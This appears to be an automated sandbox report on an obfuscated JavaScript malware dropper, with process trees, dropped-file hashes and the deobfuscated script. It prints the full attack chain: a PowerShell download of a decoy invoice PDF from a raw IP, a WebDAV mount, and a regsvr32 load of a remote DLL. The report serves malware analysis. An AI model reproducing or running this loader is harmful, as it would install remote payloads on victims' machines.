Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16297), with CRLF line terminators
Entropy (8bit):	4.921744849058208
TrID:
File name:	4328285711855619485.js
File size:	19'875 bytes
MD5:	f08c2cac48a20003b5e960f197e4d605
SHA1:	34258df7ec236d74152581b913e54725ee65a2cd
SHA256:	a641ffb874672b662ec5c868f2aba837176a669228cd6a0bf6885c4a0473152c
SHA512:	a13bf5297a80f1a362cb06121c94881c46be6e8a6149281821463b04c783bcd6169a932f01b5fa1f0e940742bbcd9dc722fd8213473ef62fe40ec2a4f7d07a12
SSDEEP:	384:BZa0yb5LUOqPBe35Ij4/6lAMteeoo65nykFm+jnptrRMjh/:v2b5LUe35zLnTplmjh
TLSH:	E69241C8D95DCB8AC7E041D62B8E0A9747ED024E0EE9E0D47882B1D54F164B32BF79B5
File Content Preview:	function wbxajjcd(){bbbkjry=[1031,3079,5127,4103,2055,3072];var fnsdtf=this[ygkuyy+iottbxfpb+qtgajwso+dvpvvvbis+ulcowoqt+ruqapgtiu+wdksdtr+efbanb](this[dtqlag+kztvzww+fanokir+qtgajwso+sjmzedc+ygkuyy+efbanb][phsadxlj+qtgajwso+ulcowoqt+iottbxfpb+efbanb+ulco

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	20:58:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4328285711855619485.js"
Imagebase:	0x7ff6de960000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:58:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll
Imagebase:	0x7ff7a4270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:58:44
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:58:44
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:58:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:58:49
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a4270000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:58:49
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff70ab50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:58:49
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:58:50
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:58:50
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1628,i,1415261473750801781,8800179272303295785,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wbxajjcd() {	wbxajjcd() ➔ undefined
1	bbbkjry = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fnsdtf = this[ygkuyy + iottbxfpb + qtgajwso + dvpvvvbis + ulcowoqt + ruqapgtiu + wdksdtr + efbanb] ( this[dtqlag + kztvzww + fanokir + qtgajwso + sjmzedc + ygkuyy + efbanb][phsadxlj + qtgajwso + ulcowoqt + iottbxfpb + efbanb + ulcowoqt + fkpvkc + domcrep + rotyzre + ulcowoqt + fanokir + efbanb] ( dtqlag + kztvzww + fanokir + qtgajwso + sjmzedc + ygkuyy + efbanb + wfydqb + kztvzww + bunhw + ulcowoqt + fmwcbp + fmwcbp ) [nkvljvhk + ulcowoqt + zrvuzfpuu + nkvljvhk + ulcowoqt + iottbxfpb + olsottum] ( kvdgm + jbyfxy + hcjnjntd + bgrqvooc + qapmqsid + phsadxlj + gtzhr + nkvljvhk + nkvljvhk + hcjnjntd + xkulvf + jirmtvk + qapmqsid + gtzhr + kztvzww + hcjnjntd + nkvljvhk + cqfuorbm + phsadxlj + bllkbocl + wdksdtr + efbanb + qtgajwso + bllkbocl + fmwcbp + vfrbm + lhgags + iottbxfpb + wdksdtr + ulcowoqt + fmwcbp + cqfuorbm + ruqapgtiu + wdksdtr + efbanb + ulcowoqt + qtgajwso + wdksdtr + iottbxfpb + efbanb + sjmzedc + bllkbocl + wdksdtr + iottbxfpb + fmwcbp + cqfuorbm + cygnovto + bllkbocl + fanokir + iottbxfpb + fmwcbp + ulcowoqt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( aflyfbr = 0 ; aflyfbr < bbbkjry[fmwcbp + ulcowoqt + wdksdtr + zrvuzfpuu + efbanb + bunhw] ; ++ aflyfbr )
4	{
5	if ( fnsdtf == bbbkjry[aflyfbr] )
6	{
7	fnsdtf = true;
8	break ;
9	}
10	}
11	if ( fnsdtf !== true )
12	this[dtqlag + kztvzww + fanokir + qtgajwso + sjmzedc + ygkuyy + efbanb][bsmbdk + zjfjlhq + sjmzedc + efbanb] ( );
13	this[dtqlag + kztvzww + fanokir + qtgajwso + sjmzedc + ygkuyy + efbanb][phsadxlj + qtgajwso + ulcowoqt + iottbxfpb + efbanb + ulcowoqt + fkpvkc + domcrep + rotyzre + ulcowoqt + fanokir + efbanb] ( dtqlag + kztvzww + fanokir + qtgajwso + sjmzedc + ygkuyy + efbanb + wfydqb + kztvzww + bunhw + ulcowoqt + fmwcbp + fmwcbp ) [qtgajwso + zjfjlhq + wdksdtr] ( fanokir + syocguogm + olsottum + vfrbm + lthzbsmp + fanokir + vfrbm + ygkuyy + bllkbocl + bxtzvwu + ulcowoqt + qtgajwso + dvpvvvbis + bunhw + ulcowoqt + fmwcbp + fmwcbp + wfydqb + ulcowoqt + cnlajahy + ulcowoqt + vfrbm + dkjcsw + phsadxlj + bllkbocl + syocguogm + syocguogm + iottbxfpb + wdksdtr + olsottum + vfrbm + xaydbch + ruqapgtiu + wdksdtr + symquend + bllkbocl + djfvajlqh + ulcowoqt + dkjcsw + dtqlag + ulcowoqt + domcrep + nkvljvhk + ulcowoqt + vtnbnmkgm + zjfjlhq + ulcowoqt + dvpvvvbis + efbanb + vfrbm + dkjcsw + fkpvkc + zjfjlhq + efbanb + xfjpmld + sjmzedc + fmwcbp + ulcowoqt + vfrbm + smwuwwwp + efbanb + ulcowoqt + syocguogm + ygkuyy + smwuwwwp + cqfuorbm + sjmzedc + wdksdtr + symquend + bllkbocl + sjmzedc + fanokir + ulcowoqt + wfydqb + ygkuyy + olsottum + hdcyzia + vfrbm + bunhw + efbanb + efbanb + ygkuyy + nbdtux + lthzbsmp + lthzbsmp + lwimckhx + pbgstgxax + oyduylsg + wfydqb + lwimckhx + ozzltu + oyduylsg + wfydqb + lwimckhx + wfydqb + xvniookn + iahexk + akgxgrid + lthzbsmp + sjmzedc + wdksdtr + symquend + bllkbocl + sjmzedc + fanokir + ulcowoqt + wfydqb + ygkuyy + bunhw + ygkuyy + xaydbch + qgvome + qgvome + dvpvvvbis + efbanb + iottbxfpb + qtgajwso + efbanb + vfrbm + smwuwwwp + efbanb + ulcowoqt + syocguogm + ygkuyy + smwuwwwp + cqfuorbm + sjmzedc + wdksdtr + symquend + bllkbocl + sjmzedc + fanokir + ulcowoqt + wfydqb + ygkuyy + olsottum + hdcyzia + qgvome + qgvome + fanokir + syocguogm + olsottum + vfrbm + lthzbsmp + fanokir + vfrbm + wdksdtr + ulcowoqt + efbanb + vfrbm + zjfjlhq + dvpvvvbis + ulcowoqt + vfrbm + cqfuorbm + cqfuorbm + lwimckhx + pbgstgxax + oyduylsg + wfydqb + lwimckhx + ozzltu + oyduylsg + wfydqb + lwimckhx + wfydqb + xvniookn + iahexk + akgxgrid + evbceut + rvhjccqc + rvhjccqc + rvhjccqc + rvhjccqc + cqfuorbm + olsottum + iottbxfpb + symquend + bxtzvwu + bxtzvwu + bxtzvwu + qtgajwso + bllkbocl + bllkbocl + efbanb + cqfuorbm + qgvome + qgvome + fanokir + syocguogm + olsottum + vfrbm + lthzbsmp + fanokir + vfrbm + qtgajwso + ulcowoqt + zrvuzfpuu + dvpvvvbis + symquend + qtgajwso + oyduylsg + xvniookn + vfrbm + lthzbsmp + dvpvvvbis + vfrbm + cqfuorbm + cqfuorbm + lwimckhx + pbgstgxax + oyduylsg + wfydqb + lwimckhx + ozzltu + oyduylsg + wfydqb + lwimckhx + wfydqb + xvniookn + iahexk + akgxgrid + evbceut + rvhjccqc + rvhjccqc + rvhjccqc + rvhjccqc + cqfuorbm + olsottum + iottbxfpb + symquend + bxtzvwu + bxtzvwu + bxtzvwu + qtgajwso + bllkbocl + bllkbocl + efbanb + cqfuorbm + oyduylsg + iahexk + pbgstgxax + ozzltu + lwimckhx + oyduylsg + ztjus + akgxgrid + oyduylsg + lwimckhx + lwimckhx + lwimckhx + akgxgrid + pbgstgxax + wfydqb + olsottum + fmwcbp + fmwcbp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll",0,false) ➔ 0
14	}
15	phsadxlj = "H";
16	phsadxlj = "A";
17	phsadxlj = "a";
18	phsadxlj = "N";
19	phsadxlj = "u";
20	phsadxlj = "C";
21	syocguogm = "X";
22	syocguogm = "S";
23	syocguogm = "Y";
24	syocguogm = "V";
25	syocguogm = "w";
26	syocguogm = "l";
27	syocguogm = "a";
28	syocguogm = "A";
29	syocguogm = "O";
30	syocguogm = "B";
31	syocguogm = "U";
32	syocguogm = "W";
33	syocguogm = "J";
34	syocguogm = "U";
35	syocguogm = "w";
36	syocguogm = "l";
37	syocguogm = "w";
38	syocguogm = "O";
39	syocguogm = "a";
40	syocguogm = "k";
41	syocguogm = "o";
42	syocguogm = "K";
43	syocguogm = "a";
44	syocguogm = "g";
45	syocguogm = "C";
46	syocguogm = "Z";
47	syocguogm = "T";
48	syocguogm = "o";
49	syocguogm = "m";
50	kztvzww = "A";
51	kztvzww = "G";
52	kztvzww = "M";
53	kztvzww = "l";
54	kztvzww = "s";
55	kztvzww = "q";
56	kztvzww = "D";
57	kztvzww = "Q";
58	kztvzww = "j";
59	kztvzww = "Y";
60	kztvzww = "Q";
61	kztvzww = "U";
62	kztvzww = "e";
63	kztvzww = "u";
64	kztvzww = "F";
65	kztvzww = "o";
66	kztvzww = "v";
67	kztvzww = "Q";
68	kztvzww = "c";
69	kztvzww = "S";
70	kztvzww = "G";
71	kztvzww = "f";
72	kztvzww = "y";
73	kztvzww = "q";
74	kztvzww = "e";
75	kztvzww = "F";
76	kztvzww = "R";
77	kztvzww = "Q";
78	kztvzww = "I";
79	kztvzww = "S";
80	hdcyzia = "j";
81	hdcyzia = "Y";
82	hdcyzia = "H";
83	hdcyzia = "T";
84	hdcyzia = "B";
85	hdcyzia = "E";
86	hdcyzia = "r";
87	hdcyzia = "P";
88	hdcyzia = "A";
89	hdcyzia = "t";
90	hdcyzia = "I";
91	hdcyzia = "j";
92	hdcyzia = "C";
93	hdcyzia = "p";
94	hdcyzia = "a";
95	hdcyzia = "P";
96	hdcyzia = "M";
97	hdcyzia = "E";
98	hdcyzia = "N";
99	hdcyzia = "l";
100	hdcyzia = "x";
101	hdcyzia = "n";
102	hdcyzia = "U";
103	hdcyzia = "l";
104	hdcyzia = "i";
105	hdcyzia = "W";
106	hdcyzia = "S";
107	hdcyzia = "u";
108	hdcyzia = "c";
109	hdcyzia = "R";
110	hdcyzia = "f";
111	xvniookn = "C";
112	xvniookn = "W";
113	xvniookn = "x";
114	xvniookn = "F";
115	xvniookn = "y";
116	xvniookn = "G";
117	xvniookn = "F";
118	xvniookn = "H";
119	xvniookn = "d";
120	xvniookn = "O";
121	xvniookn = "s";
122	xvniookn = "E";
123	xvniookn = "Z";
124	xvniookn = "p";
125	xvniookn = "G";
126	xvniookn = "i";
127	xvniookn = "J";
128	xvniookn = "F";
129	xvniookn = "m";
130	xvniookn = "H";
131	xvniookn = "b";
132	xvniookn = "g";
133	xvniookn = "Z";
134	xvniookn = "u";
135	xvniookn = "q";
136	xvniookn = "J";
137	xvniookn = "h";
138	xvniookn = "I";
139	xvniookn = "W";
140	xvniookn = "f";
141	xvniookn = "T";
142	xvniookn = "z";
143	xvniookn = "t";
144	xvniookn = "O";
145	xvniookn = "F";
146	xvniookn = "Y";
147	xvniookn = "c";
148	xvniookn = "n";
149	xvniookn = "t";
150	xvniookn = "a";
151	xvniookn = "v";
152	xvniookn = "o";
153	xvniookn = "2";
154	bllkbocl = "s";
155	bllkbocl = "P";
156	bllkbocl = "b";
157	bllkbocl = "I";
158	bllkbocl = "C";
159	bllkbocl = "e";
160	bllkbocl = "g";
161	bllkbocl = "o";
162	dtqlag = "L";
163	dtqlag = "O";
164	dtqlag = "B";
165	dtqlag = "e";
166	dtqlag = "u";
167	dtqlag = "J";
168	dtqlag = "E";
169	dtqlag = "d";
170	dtqlag = "j";
171	dtqlag = "M";
172	dtqlag = "Q";
173	dtqlag = "i";
174	dtqlag = "j";
175	dtqlag = "i";
176	dtqlag = "s";
177	dtqlag = "R";
178	dtqlag = "I";
179	dtqlag = "j";
180	dtqlag = "W";
181	wfydqb = "q";
182	wfydqb = "X";
183	wfydqb = "J";
184	wfydqb = "W";
185	wfydqb = "x";
186	wfydqb = "a";
187	wfydqb = "v";
188	wfydqb = "k";
189	wfydqb = "N";
190	wfydqb = "f";
191	wfydqb = "w";
192	wfydqb = "X";
193	wfydqb = "D";
194	wfydqb = "w";
195	wfydqb = "z";
196	wfydqb = "E";
197	wfydqb = "l";
198	wfydqb = "G";
199	wfydqb = "z";
200	wfydqb = "R";
201	wfydqb = "X";
202	wfydqb = "W";
203	wfydqb = "T";
204	wfydqb = "D";
205	wfydqb = "o";
206	wfydqb = "u";
207	wfydqb = "n";
208	wfydqb = "I";
209	wfydqb = "Q";
210	wfydqb = ".";
211	cqfuorbm = "x";
212	cqfuorbm = "u";
213	cqfuorbm = "g";
214	cqfuorbm = "h";
215	cqfuorbm = "o";
216	cqfuorbm = "q";
217	cqfuorbm = "n";
218	cqfuorbm = "B";
219	cqfuorbm = "R";
220	cqfuorbm = "y";
221	cqfuorbm = "U";
222	cqfuorbm = "y";
223	cqfuorbm = "c";
224	cqfuorbm = "P";
225	cqfuorbm = "s";
226	cqfuorbm = "\\";
227	ozzltu = "z";
228	ozzltu = "G";
229	ozzltu = "k";
230	ozzltu = "X";
231	ozzltu = "x";
232	ozzltu = "T";
233	ozzltu = "L";
234	ozzltu = "S";
235	ozzltu = "m";
236	ozzltu = "t";
237	ozzltu = "q";
238	ozzltu = "g";
239	ozzltu = "b";
240	ozzltu = "Y";
241	ozzltu = "D";
242	ozzltu = "g";
243	ozzltu = "M";
244	ozzltu = "h";
245	ozzltu = "j";
246	ozzltu = "L";
247	ozzltu = "W";
248	ozzltu = "u";
249	ozzltu = "b";
250	ozzltu = "Y";
251	ozzltu = "N";
252	ozzltu = "g";
253	ozzltu = "N";
254	ozzltu = "I";
255	ozzltu = "q";
256	ozzltu = "Y";
257	ozzltu = "V";
258	ozzltu = "C";
259	ozzltu = "Y";
260	ozzltu = "R";
261	ozzltu = "t";
262	ozzltu = "l";
263	ozzltu = "4";
264	dkjcsw = "a";
265	dkjcsw = "b";
266	dkjcsw = "P";
267	dkjcsw = "U";
268	dkjcsw = "Q";
269	dkjcsw = "r";
270	dkjcsw = "r";
271	dkjcsw = "v";
272	dkjcsw = "A";
273	dkjcsw = "E";
274	dkjcsw = "d";
275	dkjcsw = "v";
276	dkjcsw = "t";
277	dkjcsw = "L";
278	dkjcsw = "F";
279	dkjcsw = "U";
280	dkjcsw = "i";
281	dkjcsw = "W";
282	dkjcsw = "G";
283	dkjcsw = "C";
284	dkjcsw = "t";
285	dkjcsw = "l";
286	dkjcsw = "t";
287	dkjcsw = "o";
288	dkjcsw = "x";
289	dkjcsw = "a";
290	dkjcsw = "K";
291	dkjcsw = "a";
292	dkjcsw = "K";
293	dkjcsw = "G";
294	dkjcsw = "A";
295	dkjcsw = "C";
296	dkjcsw = "L";
297	dkjcsw = "U";
298	dkjcsw = "o";
299	dkjcsw = "-";
300	rotyzre = "w";
301	rotyzre = "F";
302	rotyzre = "j";
303	bsmbdk = "d";
304	bsmbdk = "H";
305	bsmbdk = "t";
306	bsmbdk = "p";
307	bsmbdk = "q";
308	bsmbdk = "L";
309	bsmbdk = "u";
310	bsmbdk = "U";
311	bsmbdk = "s";
312	bsmbdk = "E";
313	bsmbdk = "b";
314	bsmbdk = "t";
315	bsmbdk = "B";
316	bsmbdk = "A";
317	bsmbdk = "b";
318	bsmbdk = "O";
319	bsmbdk = "f";
320	bsmbdk = "V";
321	bsmbdk = "j";
322	bsmbdk = "E";
323	bsmbdk = "T";
324	bsmbdk = "i";
325	bsmbdk = "N";
326	bsmbdk = "f";
327	bsmbdk = "G";
328	bsmbdk = "G";
329	bsmbdk = "i";
330	bsmbdk = "k";
331	bsmbdk = "b";
332	bsmbdk = "h";
333	bsmbdk = "S";
334	bsmbdk = "p";
335	bsmbdk = "K";
336	bsmbdk = "o";
337	bsmbdk = "f";
338	bsmbdk = "Q";
339	qapmqsid = "t";
340	qapmqsid = "R";
341	qapmqsid = "G";
342	qapmqsid = "N";
343	qapmqsid = "b";
344	qapmqsid = "_";
345	pbgstgxax = "D";
346	pbgstgxax = "k";
347	pbgstgxax = "R";
348	pbgstgxax = "U";
349	pbgstgxax = "u";
350	pbgstgxax = "v";
351	pbgstgxax = "t";
352	pbgstgxax = "z";
353	pbgstgxax = "f";
354	pbgstgxax = "y";
355	pbgstgxax = "t";
356	pbgstgxax = "n";
357	pbgstgxax = "Z";
358	pbgstgxax = "l";
359	pbgstgxax = "C";
360	pbgstgxax = "b";
361	pbgstgxax = "c";
362	pbgstgxax = "v";
363	pbgstgxax = "d";
364	pbgstgxax = "q";
365	pbgstgxax = "k";
366	pbgstgxax = "w";
367	pbgstgxax = "a";
368	pbgstgxax = "y";
369	pbgstgxax = "I";
370	pbgstgxax = "j";
371	pbgstgxax = "q";
372	pbgstgxax = "d";
373	pbgstgxax = "9";
374	ygkuyy = "g";
375	ygkuyy = "C";
376	ygkuyy = "Q";
377	ygkuyy = "o";
378	ygkuyy = "R";
379	ygkuyy = "c";
380	ygkuyy = "m";
381	ygkuyy = "I";
382	ygkuyy = "j";
383	ygkuyy = "I";
384	ygkuyy = "Y";
385	ygkuyy = "p";
386	ygkuyy = "C";
387	ygkuyy = "D";
388	ygkuyy = "N";
389	ygkuyy = "m";
390	ygkuyy = "y";
391	ygkuyy = "E";
392	ygkuyy = "f";
393	ygkuyy = "Q";
394	ygkuyy = "d";
395	ygkuyy = "b";
396	ygkuyy = "U";
397	ygkuyy = "Y";
398	ygkuyy = "V";
399	ygkuyy = "x";
400	ygkuyy = "C";
401	ygkuyy = "D";
402	ygkuyy = "c";
403	ygkuyy = "q";
404	ygkuyy = "p";
405	vfrbm = "z";
406	vfrbm = "F";
407	vfrbm = "S";
408	vfrbm = "h";
409	vfrbm = "z";
410	vfrbm = "b";
411	vfrbm = "v";
412	vfrbm = "l";
413	vfrbm = "v";
414	vfrbm = "v";
415	vfrbm = "Q";
416	vfrbm = "P";
417	vfrbm = "R";
418	vfrbm = "n";
419	vfrbm = " ";
420	hcjnjntd = "n";
421	hcjnjntd = "Z";
422	hcjnjntd = "X";
423	hcjnjntd = "q";
424	hcjnjntd = "r";
425	hcjnjntd = "C";
426	hcjnjntd = "W";
427	hcjnjntd = "B";
428	hcjnjntd = "N";
429	hcjnjntd = "W";
430	hcjnjntd = "D";
431	hcjnjntd = "A";
432	hcjnjntd = "E";
433	hcjnjntd = "B";
434	hcjnjntd = "M";
435	hcjnjntd = "d";
436	hcjnjntd = "G";
437	hcjnjntd = "A";
438	hcjnjntd = "E";
439	nkvljvhk = "I";
440	nkvljvhk = "G";
441	nkvljvhk = "S";
442	nkvljvhk = "h";
443	nkvljvhk = "y";
444	nkvljvhk = "Z";
445	nkvljvhk = "b";
446	nkvljvhk = "r";
447	nkvljvhk = "X";
448	nkvljvhk = "k";
449	nkvljvhk = "f";
450	nkvljvhk = "w";
451	nkvljvhk = "O";
452	nkvljvhk = "y";
453	nkvljvhk = "z";
454	nkvljvhk = "N";
455	nkvljvhk = "a";
456	nkvljvhk = "F";
457	nkvljvhk = "r";
458	nkvljvhk = "o";
459	nkvljvhk = "K";
460	nkvljvhk = "U";
461	nkvljvhk = "k";
462	nkvljvhk = "C";
463	nkvljvhk = "X";
464	nkvljvhk = "B";
465	nkvljvhk = "f";
466	nkvljvhk = "A";
467	nkvljvhk = "C";
468	nkvljvhk = "R";
469	djfvajlqh = "o";
470	djfvajlqh = "b";
471	djfvajlqh = "p";
472	djfvajlqh = "H";
473	djfvajlqh = "e";
474	djfvajlqh = "Y";
475	djfvajlqh = "b";
476	djfvajlqh = "c";
477	djfvajlqh = "e";
478	djfvajlqh = "W";
